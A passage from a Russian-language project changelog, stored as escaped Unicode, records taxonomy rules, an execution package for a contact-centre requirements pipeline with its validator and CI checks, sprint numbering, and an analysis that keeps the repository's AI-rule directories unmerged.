\u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u0438 `SR-1`\u2026`SR-6` \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438. \u0417\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442: \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 `GT-5` \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043d\u043e \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u043b, \u0433\u0434\u0435 \u0430\u0433\u0435\u043d\u0442 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0449\u0435\u0442, \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0441\u044f \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 \u043e \u0444\u0430\u043a\u0442\u0435, \u043b\u0435\u0436\u0430\u0449\u0435\u043c \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u0440\u043e\u0433\u043e\u043d [`runs/bcreq-1059-routed/`](research/ba-requirements/exp/ba-meta-model-cross-check-587/README.md) \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u044d\u0444\u0444\u0435\u043a\u0442 \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0432\u0445\u043e\u0434\u0435: \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u043e\u0439 \u043a\u043e\u0440\u043f\u0443\u0441\u0430, `S-SCOPE` \u0438 `S-SETTINGS` \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0435 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f. \u0421\u0435\u043c\u0438\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438\u0437 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 **\u0441\u0443\u0436\u0435\u043d** \u0434\u043e \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u043e, \u0442\u0440\u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u0432 `out_of_slice` \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u2014 \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432\u0435\u0442\u043a\u0430 \u043d\u0435\u043e\u0442\u043b\u0438\u0447\u0438\u043c\u0430 \u043e\u0442 \u0437\u0430\u0431\u044b\u0442\u043e\u0439.\\n- projects: \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f `V-CONTRACT` (\u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430) \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u043a `V-BIZ`, `V-APPROVE`, `V-DEV` **\u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f** \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445, \u043f\u043e\u043b\u0435 `projection` \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u043e \u0432 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 `C-OUT`. \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439 \u0431\u044b\u043b \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0432\u0435\u0442\u043a\u043e\u0439: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b, \u043d\u043e \u043d\u0438 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0445 \u043d\u0435 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u043b. `V-CONTRACT` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 `S-FR` \u043a\u0430\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u00ab\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0412\u041e\u0417\u041c\u041e\u0416\u041d\u041e\u0421\u0422\u042c\u00bb, \u043f\u043e\u043b\u043d\u043e\u0442\u044b \u043f\u043e \u0447\u0435\u0442\u044b\u0440\u0451\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c (\u0447\u0442\u043e, \u043a\u0442\u043e, \u0433\u0434\u0435, \u043a\u043e\u0433\u0434\u0430) \u0438 \u043f\u0443\u0441\u0442\u043e\u0433\u043e `S-OPEN`.\\n- projects: \u0422\u0440\u0438 \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u044d\u0442\u0430\u043b\u043e\u043d\u0430 Golden Set (\u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043f\u0440\u043e\u0442\u0438\u0432 \u0433\u0440\u0443\u043f\u043f\u044b, `SLA` \u043f\u0440\u043e\u0442\u0438\u0432 `AHT`, `IVR` \u043f\u0440\u043e\u0442\u0438\u0432 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440\u0430) \u2014 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e `EP-G7` \u0441\u0442\u0430\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 `validate-package.py` \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043f\u0430\u0440\u0443 `confusable_with` \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u044f \u0441 \u043d\u0430\u043b\u0438\u0447\u0438\u0435\u043c \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u044f \u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043d\u0430\u0448\u043b\u0430 \u0442\u0440\u0438 \u043d\u0435\u043f\u043e\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0430\u0440\u044b. \u041f\u0440\u0430\u0432\u0438\u043b\u043e, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u0432\u0448\u0435\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u043c, \u043d\u0430\u0447\u0430\u043b\u043e \u043b\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u0436\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0435.\\n\\n- projects: [\u041f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f MVP BCREQ](projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md) (issue #580) \u2014 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430 `A-IN \u2192 A-CORE \u2192 A-BCREQ` \u0434\u043b\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u00ab\u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u00bb \u0432 \u0444\u043e\u0440\u043c\u0443, \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c\u0443\u044e \u0432 \u0447\u0438\u0441\u0442\u044b\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439-\u0441\u043f\u0443\u0442\u043d\u0438\u043a \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u041f\u0430\u043a\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0438 (12 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, 10 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 33 \u043d\u0430\u0432\u044b\u043a\u0430 \u0441 \u043e\u0442\u043c\u0435\u0442\u043a\u043e\u0439 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u043d\u043e\u0441\u0442\u0438 \u0441\u0440\u0435\u0437\u0443, 4 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0444\u0438\u043b\u044f, 8 \u0441\u043c\u0435\u0436\u043d\u044b\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u044f); \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b `C-IN`, `C-CORE`, `C-CL`, `C-OUT`, `C-RK` \u043a\u0430\u043a JSON Schema; [\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 `RG-BCREQ-v1`](projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) \u0438\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0443\u0437\u043b\u043e\u0432 \u0441 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u043c \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0435\u0431\u0440\u0435 \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u0433\u0435\u0439\u0442\u043e\u0432 fail-closed; \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c `SKILL.md` \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 \u0441\u0440\u0435\u0434\u044b `name` \u0438 `description` (`SK-0`, `SK-8`) \u0438 \u0448\u0435\u0441\u0442\u044c\u044e \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u043c\u0438 \u0425\u0430\u0431\u0430; \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 Golden Set \u0438\u0437 \u0434\u0432\u0443\u0445 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u2014 \u043a\u0440\u043e\u0441\u0441-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u00ab\u0412\u0445\u043e\u0434\u044f\u0449\u0438\u0435\u00bb \u043f\u0440\u043e\u0442\u0438\u0432 \u00ab\u0418\u041e\u00bb, \u0433\u0434\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f **\u043e\u0442\u043a\u0430\u0437 \u0443\u0437\u043b\u0430**, \u0430 \u043d\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442; \u043c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438 `MP-1`\u2026`MP-6` \u0441 \u0444\u043e\u0440\u043c\u0443\u043b\u0430\u043c\u0438; \u0447\u0435\u043a-\u043b\u0438\u0441\u0442\u044b \u0433\u0435\u0439\u0442\u043e\u0432, \u0440\u0430\u0437\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0435 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u00ab\u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u0430\u00bb. \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 `G-mach` \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 [`validate-package.py`](projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/validate-package.py) \u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0432 CI \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0432\u043e\u0441\u0435\u043c\u044c\u044e \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438 [`test-execution-package.sh`](tools/test-execution-package.sh), \u043a\u0430\u0436\u0434\u0430\u044f \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043b\u043e\u043c\u0430\u0435\u0442 \u043e\u0434\u043d\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u043a\u0430\u0437\u0430: \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442, \u0433\u0435\u0439\u0442\u043e\u043c \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f (`M-2`). \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043e\u0442 \u0425\u0430\u0431\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e: \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0425\u0430\u0431\u0430 \u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438. \u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432 [\u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438](projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml); \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0437\u0430\u0434\u0430\u0447\u0438 B-179\u2026B-188 (\u0421\u043f\u0440\u0438\u043d\u0442 20). \u041d\u043e\u043c\u0435\u0440 20 \u0438 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d `B-179`\u2026`B-188`, \u0430 \u043d\u0435 19 \u0438 `B-169`\u2026`B-178`: \u043f\u0440\u0438 \u0441\u043b\u0438\u044f\u043d\u0438\u0438 \u0441 `main` \u043d\u043e\u043c\u0435\u0440 19 \u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b `B-169`\u2026`B-174` \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0437\u0430\u043d\u044f\u0442\u044b \u0441\u043f\u0440\u0438\u043d\u0442\u043e\u043c \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 MVP \u043f\u043e issue [#583](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/583), \u0438 \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0430\u043d\u044f\u0442\u043e\u0433\u043e \u0441\u043f\u0440\u0438\u043d\u0442\u0430 \u043f\u043e\u0440\u0432\u0430\u043b\u0430 \u0431\u044b \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c. \u0421\u043f\u0440\u0438\u043d\u0442 19 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439-\u0441\u043f\u0443\u0442\u043d\u0438\u043a \u043f\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0443 HTOM, \u0421\u043f\u0440\u0438\u043d\u0442 20 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0432 \u043d\u0451\u043c \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 `B-179` \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 `B-170`.\\n- analysis: [\u041a\u043e\u043d\u0441\u043e\u043b\u0438\u0434\u0430\u0446\u0438\u044f `ai-rules/` \u0438 `ai-governance/` \u0432 \u0435\u0434\u0438\u043d\u044b\u0439 `ai/`: options analysis](docs/analysis/2026-09-15-ai-directories-consolidation-analysis.md) (issue #579, Creative) \u2014 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u0430\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 `ai-*` \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0420\u0435\u0448\u0435\u043d\u0438\u0435: **\u043f\u043e\u0434\u0445\u043e\u0434 \u0410, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043d\u0435 \u043c\u0435\u043d\u044f\u0442\u044c**. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u2014 \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u0430 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0432 `templates/htom/` \u2014 \u0438\u0437\u043c\u0435\u0440\u0435\u043d \u043f\u043e \u043a\u043e\u0434\u0443 \u0433\u0435\u043d\u043e\u043c\u0430 \u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0449\u0438\u043c \u043e\u0442 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0438 \u043a\u043e\u0440\u043d\u044f \u0425\u0430\u0431\u0430: HTOM-\u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043d\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 `ai-*` \u0432\u043e\u043e\u0431\u0449\u0435 (\u0433\u0435\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0442\u0440\u0438 \u043f\u043b\u043e\u0441\u043a\u0438\u0445 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0435\u0433\u043e \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0447\u0435\u0440\u0435\u0437 `resolve_one_of` \u0443\u0436\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0442\u0440\u0438 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0438, \u043d\u0438 \u043e\u0434\u0438\u043d `ai-*` \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043d\u0435 \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 `required_directories`, \u0441\u0432\u044f\u0437\u044c \u0441 \u0425\u0430\u0431\u043e\u043c \u2014 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 URL). \u041a\u043e\u043d\u0441\u043e\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043d\u0435 \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u043b\u0430 \u0431\u044b \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435, \u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0431\u044b \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u0443\u044e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u0443\u044e \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0443. \u0412\u044b\u0433\u043e\u0434\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0443\u0441 \u043e\u0434\u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u043a\u043e\u0440\u043d\u044f \u0438\u0437 26 (~4 %); \u0446\u0435\u043d\u0430 \u2014 658 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u043f\u0443\u0442\u0438 \u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445, \u0438\u0437 \u043d\u0438\u0445 229 \u0432 20 \u0438\u043c\u043c\u0443\u0442\u0430\u0431\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u0445 `docs/adr/` \u0438 `docs/rfc/`, \u0440\u0430\u0441\u0445\u043e\u0434 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 `path_migrations` \u0438 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 `AGENTS.md` \u0432\u043e \u0432\u0441\u0435\u0445 \u0441\u043f\u0438\u0446\u0430\u0445, \u0433\u0434\u0435 \u0438\u043c\u044f `ai-rules/` \u0441\u0442\u043e\u0438\u0442 \u0432 general-\u0441\u0435\u043a\u0446\u0438\u044f\u0445 `` \u0438 ``, \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0432 \u0441\u043f\u0438\u0446\u044b \u0431\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 (ADR-012). \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434 \u0411 \u0434\u0430\u0451\u0442 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0435\u0433\u0440\u0435\u0441\u0441: \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u0442 `skills/` \u0438 `commands/` \u0438\u0437 \u043f\u043e\u0434\u043a\u043b\u0430\u0441\u0441\u0430 \u0430\u0433\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 (`ai-rules/skills/`, `ai-rules/commands/`) \u0432 \u0431\u0440\u0430\u0442\u044c\u044f `rules/` \u0432\u043e\u043f\u0440\u0435\u043a\u0438 ADR-016 \u0438 \u0443\u0442\u0430\u043f\u043b\u0438\u0432\u0430\u0435\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u2194 \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u043a\u043e\u0442\u043e\u0440\u0443\u044e ADR-007 \u0432\u0432\u0451\u043b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043a\u043e\u0440\u043d\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u0441\u0445\u043b\u043e\u043f\u044b\u0432\u0430\u043d\u0438\u044f \u0432 \u043e\u0434\u0438\u043d bucket. \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043d \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u043c: \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 (`AGENTS.md`), \u0430 \u043d\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u043d\u044b\u0435 \u0434\u043e\u043c\u0430 